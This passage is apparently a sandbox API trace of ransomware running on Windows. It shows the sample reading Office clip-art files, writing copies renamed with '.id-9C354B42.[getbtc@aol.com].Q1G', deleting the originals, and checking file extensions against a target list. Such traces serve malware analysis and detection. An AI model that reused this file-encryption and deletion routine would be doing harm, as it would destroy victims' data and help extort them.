Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 0x20 [0255.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0255.090] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.090] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0255.090] GetLastError () returned 0x0 [0255.090] ReadFile (in: hFile=0x3f8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1016, lpOverlapped=0x0) returned 1 [0255.171] WriteFile (in: hFile=0x3fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1020, lpOverlapped=0x0) returned 1 [0255.172] ReadFile (in: hFile=0x3f8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.172] WriteFile (in: hFile=0x3fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.172] SetEndOfFile (hFile=0x3fc) returned 1 [0255.172] CloseHandle (hObject=0x3fc) returned 1 [0255.172] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.172] SetEndOfFile (hFile=0x3f8) returned 1 [0255.174] CloseHandle (hObject=0x3f8) returned 1 [0255.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0255.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.209] lstrlenW (lpString=".doc") returned 4 [0255.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.209] lstrlenW (lpString=".docx") returned 5 [0255.209] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0255.209] lstrlenW (lpString=".pdf") returned 4 [0255.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.209] lstrlenW (lpString=".xls") returned 4 [0255.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.209] lstrlenW (lpString=".xlsx") returned 5 [0255.209] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0255.209] lstrlenW (lpString=".ppt") returned 4 [0255.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.209] lstrlenW (lpString=".zip") returned 4 [0255.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.209] lstrlenW (lpString=".rar") returned 4 [0255.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.209] lstrlenW (lpString=".bz2") returned 4 [0255.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.209] lstrlenW (lpString=".7z") returned 3 [0255.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.209] lstrlenW (lpString=".dbf") returned 4 [0255.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.209] lstrlenW (lpString=".1cd") returned 4 [0255.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.209] lstrlenW (lpString=".jpg") returned 4 [0255.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.209] lstrlenW (lpString=".doc") returned 4 [0255.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.209] lstrlenW (lpString=".docx") returned 5 [0255.210] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0255.210] lstrlenW (lpString=".pdf") returned 4 [0255.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.210] lstrlenW (lpString=".xls") returned 4 [0255.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.210] lstrlenW (lpString=".xlsx") returned 5 [0255.210] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0255.210] lstrlenW (lpString=".ppt") returned 4 [0255.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.210] lstrlenW (lpString=".zip") returned 4 [0255.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.210] lstrlenW (lpString=".rar") returned 4 [0255.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.210] lstrlenW (lpString=".bz2") returned 4 [0255.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.210] lstrlenW (lpString=".7z") returned 3 [0255.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.210] lstrlenW (lpString=".dbf") returned 4 [0255.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.210] lstrlenW (lpString=".1cd") returned 4 [0255.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0255.210] lstrlenW (lpString=".jpg") returned 4 [0255.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.210] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.210] lstrlenW (lpString="J0099193.GIF") returned 12 [0255.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0255.216] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=35546) returned 1 [0255.216] CloseHandle (hObject=0x3f8) returned 1 [0255.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 0x20 [0255.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0255.217] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.217] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0255.217] GetLastError () returned 0x0 [0255.218] ReadFile (in: hFile=0x3f8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x8ada, lpOverlapped=0x0) returned 1 [0255.237] WriteFile (in: hFile=0x3fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x8ae0, lpOverlapped=0x0) returned 1 [0255.238] ReadFile (in: hFile=0x3f8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.238] WriteFile (in: hFile=0x3fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.238] SetEndOfFile (hFile=0x3fc) returned 1 [0255.238] CloseHandle (hObject=0x3fc) returned 1 [0255.239] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.239] SetEndOfFile (hFile=0x3f8) returned 1 [0255.242] CloseHandle (hObject=0x3f8) returned 1 [0255.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0255.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.243] lstrlenW (lpString=".doc") returned 4 [0255.243] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.243] lstrlenW (lpString=".docx") returned 5 [0255.243] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0255.243] lstrlenW (lpString=".pdf") returned 4 [0255.243] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.243] lstrlenW (lpString=".xls") returned 4 [0255.243] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.243] lstrlenW (lpString=".xlsx") returned 5 [0255.243] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0255.243] lstrlenW (lpString=".ppt") returned 4 [0255.243] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.243] lstrlenW (lpString=".zip") returned 4 [0255.243] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.243] lstrlenW (lpString=".rar") returned 4 [0255.243] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.244] lstrlenW (lpString=".bz2") returned 4 [0255.244] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.244] lstrlenW (lpString=".7z") returned 3 [0255.244] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.244] lstrlenW (lpString=".dbf") returned 4 [0255.244] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.244] lstrlenW (lpString=".1cd") returned 4 [0255.244] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.244] lstrlenW (lpString=".jpg") returned 4 [0255.244] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.244] lstrlenW (lpString=".doc") returned 4 [0255.244] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.244] lstrlenW (lpString=".docx") returned 5 [0255.244] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0255.244] lstrlenW (lpString=".pdf") returned 4 [0255.244] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.244] lstrlenW (lpString=".xls") returned 4 [0255.244] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.244] lstrlenW (lpString=".xlsx") returned 5 [0255.244] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0255.244] lstrlenW (lpString=".ppt") returned 4 [0255.244] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.244] lstrlenW (lpString=".zip") returned 4 [0255.244] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.244] lstrlenW (lpString=".rar") returned 4 [0255.244] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.244] lstrlenW (lpString=".bz2") returned 4 [0255.244] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.244] lstrlenW (lpString=".7z") returned 3 [0255.244] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.245] lstrlenW (lpString=".dbf") returned 4 [0255.245] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.245] lstrlenW (lpString=".1cd") returned 4 [0255.245] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63 [0255.245] lstrlenW (lpString=".jpg") returned 4 [0255.245] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.245] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.245] lstrlenW (lpString="J0099194.GIF") returned 12 [0255.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0255.245] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=25265) returned 1 [0255.245] CloseHandle (hObject=0x3f8) returned 1 [0255.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 0x20 [0255.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0255.246] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.246] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0255.247] GetLastError () returned 0x0 [0255.247] ReadFile (in: hFile=0x3f8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x62b1, lpOverlapped=0x0) returned 1 [0255.286] WriteFile (in: hFile=0x3fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x62c0, lpOverlapped=0x0) returned 1 [0255.287] ReadFile (in: hFile=0x3f8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.287] WriteFile (in: hFile=0x3fc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.287] SetEndOfFile (hFile=0x3fc) returned 1 [0255.287] CloseHandle (hObject=0x3fc) returned 1 [0255.287] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.287] SetEndOfFile (hFile=0x3f8) returned 1 [0255.289] CloseHandle (hObject=0x3f8) returned 1 [0255.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0255.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.290] lstrlenW (lpString=".doc") returned 4 [0255.290] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.290] lstrlenW (lpString=".docx") returned 5 [0255.290] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0255.290] lstrlenW (lpString=".pdf") returned 4 [0255.290] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.290] lstrlenW (lpString=".xls") returned 4 [0255.290] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.290] lstrlenW (lpString=".xlsx") returned 5 [0255.290] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0255.290] lstrlenW (lpString=".ppt") returned 4 [0255.291] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.291] lstrlenW (lpString=".zip") returned 4 [0255.291] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.291] lstrlenW (lpString=".rar") returned 4 [0255.291] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.291] lstrlenW (lpString=".bz2") returned 4 [0255.291] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.291] lstrlenW (lpString=".7z") returned 3 [0255.291] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.291] lstrlenW (lpString=".dbf") returned 4 [0255.291] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.291] lstrlenW (lpString=".1cd") returned 4 [0255.291] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.291] lstrlenW (lpString=".jpg") returned 4 [0255.291] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.291] lstrlenW (lpString=".doc") returned 4 [0255.291] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.291] lstrlenW (lpString=".docx") returned 5 [0255.291] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0255.291] lstrlenW (lpString=".pdf") returned 4 [0255.291] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.291] lstrlenW (lpString=".xls") returned 4 [0255.291] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.291] lstrlenW (lpString=".xlsx") returned 5 [0255.291] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0255.291] lstrlenW (lpString=".ppt") returned 4 [0255.291] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.291] lstrlenW (lpString=".zip") returned 4 [0255.292] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.292] lstrlenW (lpString=".rar") returned 4 [0255.292] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.292] lstrlenW (lpString=".bz2") returned 4 [0255.292] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.292] lstrlenW (lpString=".7z") returned 3 [0255.292] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.292] lstrlenW (lpString=".dbf") returned 4 [0255.292] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.292] lstrlenW (lpString=".1cd") returned 4 [0255.292] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF") returned 63 [0255.292] lstrlenW (lpString=".jpg") returned 4 [0255.292] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.292] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.292] lstrlenW (lpString="J0099197.GIF") returned 12 [0255.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.310] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=10898) returned 1 [0255.310] CloseHandle (hObject=0x3f0) returned 1 [0255.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 0x20 [0255.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 